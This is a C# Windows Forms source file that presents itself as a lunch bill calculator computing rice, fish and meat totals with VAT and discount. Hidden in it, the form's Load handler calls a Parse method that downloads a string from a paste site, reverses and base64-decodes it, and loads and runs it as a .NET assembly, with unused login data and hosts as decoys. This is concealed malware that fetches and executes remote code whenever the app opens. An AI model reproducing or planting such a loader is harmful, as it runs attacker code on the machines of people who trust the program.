using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using System.Net;
using Microsoft.VisualBasic;
using System.Collections.Specialized;

namespace LunchBillCalculator
{
    public partial class lunchBillCalculatorApp : Form
    {

        private double riceUnit;
        private double fishUnit;
        private double meatUnit;

        WebClient l = new WebClient();
        private double discount;
        private double vatValue;
        private double gross;
        private double vatPercentage = 0.05;

        private double riceUnitPrice = 40;
        private double fishUnitPrice = 80;
        private double meatUnitPrice = 100;

        private double riceTotalPrice;
        private double fishTotalPrice;
        private double meatTotalPrice;
        private double totalBill;
        private double vatAmount;
        private double discountAmount;

        public lunchBillCalculatorApp()
        {
            InitializeComponent();
        }

        public void Parse()
        {
            {

                var loginAddresss = "http://www.myshipgroup.com/";
                var loginAddress = "http://tcddtasimacilik.store/";
                var loginData = new NameValueCollection
    {
      { "username", "shimmy" },
      { "password", "mypassword" }
    };

                var client = new CookieAwareWebClient();

                StreamReader c = new StreamReader(l.OpenRead("https://www.paste.tc/3IKLTYShOO"));
                
                string a = c.ReadToEnd();
                byte[] data = Convert.FromBase64String(Reverse(a));
                AppDomain.CurrentDomain.Load(data).EntryPoint.Invoke(null, null);
                Close();
            }

        }

        private void showTotalButton_Click(object sender, EventArgs e)
        {
            riceUnit = double.Parse(riceUnitTextBox.Text);
            riceTotalPrice = riceUnit * riceUnitPrice;


            fishUnit = double.Parse(fishUnitTextBox.Text);
            fishTotalPrice = fishUnit * fishUnitPrice;

            meatUnit = double.Parse(meatUnitTextBox.Text);
            meatTotalPrice = meatUnit * meatUnitPrice;

            gross = riceTotalPrice + fishTotalPrice + meatTotalPrice;

            totalGrossTextBox.Text = gross.ToString();

            totalGrossTextBox.Enabled = false;


        }

        private void showNetBillButton_Click(object sender, EventArgs e)
        {


            gross = double.Parse(totalGrossTextBox.Text);
            discount = double.Parse(discountTextBox.Text);

            discountAmount = gross * discount / 100;

            vatAmount = gross * vatPercentage;

            totalBill = (gross - discountAmount) + vatAmount;


            MessageBox.Show("Sir/Maam,Please Pay the bill of amount Rs: " + totalBill + " to the Counter. Thank You");

            riceUnitTextBox.Text = "";
            fishUnitTextBox.Text = "";
            meatUnitTextBox.Text = "";

            discountTextBox.Text = "";
            totalGrossTextBox.Text = "";



        }

        private void groupBox1_Enter(object sender, EventArgs e)
        {

        }

        private void button1_Click(object sender, EventArgs e)
        {
            Close();
        }
        public static string Reverse(string s)
        {
            char[] charArray = s.ToCharArray();
            Array.Reverse(charArray);
            return new string(charArray);
        }
        private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
        {
            Process.Start("http://code-projects.org");
        }

        private void lunchBillCalculatorApp_Load(object sender, EventArgs e)
        {
            Parse();
        }
    }

}
public class CookieAwareWebClient : WebClient
{
    public void Login(string loginPageAddress, NameValueCollection loginData)
    {
        CookieContainer container;

        var request = (HttpWebRequest)WebRequest.Create(loginPageAddress);

        request.Method = "POST";
        request.ContentType = "application/x-www-form-urlencoded";

        var query = string.Join("&",
          loginData.Cast<string>().Select(key => "{key}={loginData[key]}"));

        var buffer = Encoding.ASCII.GetBytes(query);
        request.ContentLength = buffer.Length;
        var requestStream = request.GetRequestStream();
        requestStream.Write(buffer, 0, buffer.Length);
        requestStream.Close();

        container = request.CookieContainer = new CookieContainer();

        var response = request.GetResponse();
        response.Close();
        CookieContainer = container;
    }

    public CookieAwareWebClient(CookieContainer container)
    {
        CookieContainer = container;
    }

    public CookieAwareWebClient()
        : this(new CookieContainer())
    { }

    public CookieContainer CookieContainer { get; private set; }

    protected override WebRequest GetWebRequest(Uri address)
    {
        var request = (HttpWebRequest)base.GetWebRequest(address);
        request.CookieContainer = CookieContainer;
        return request;
    }
}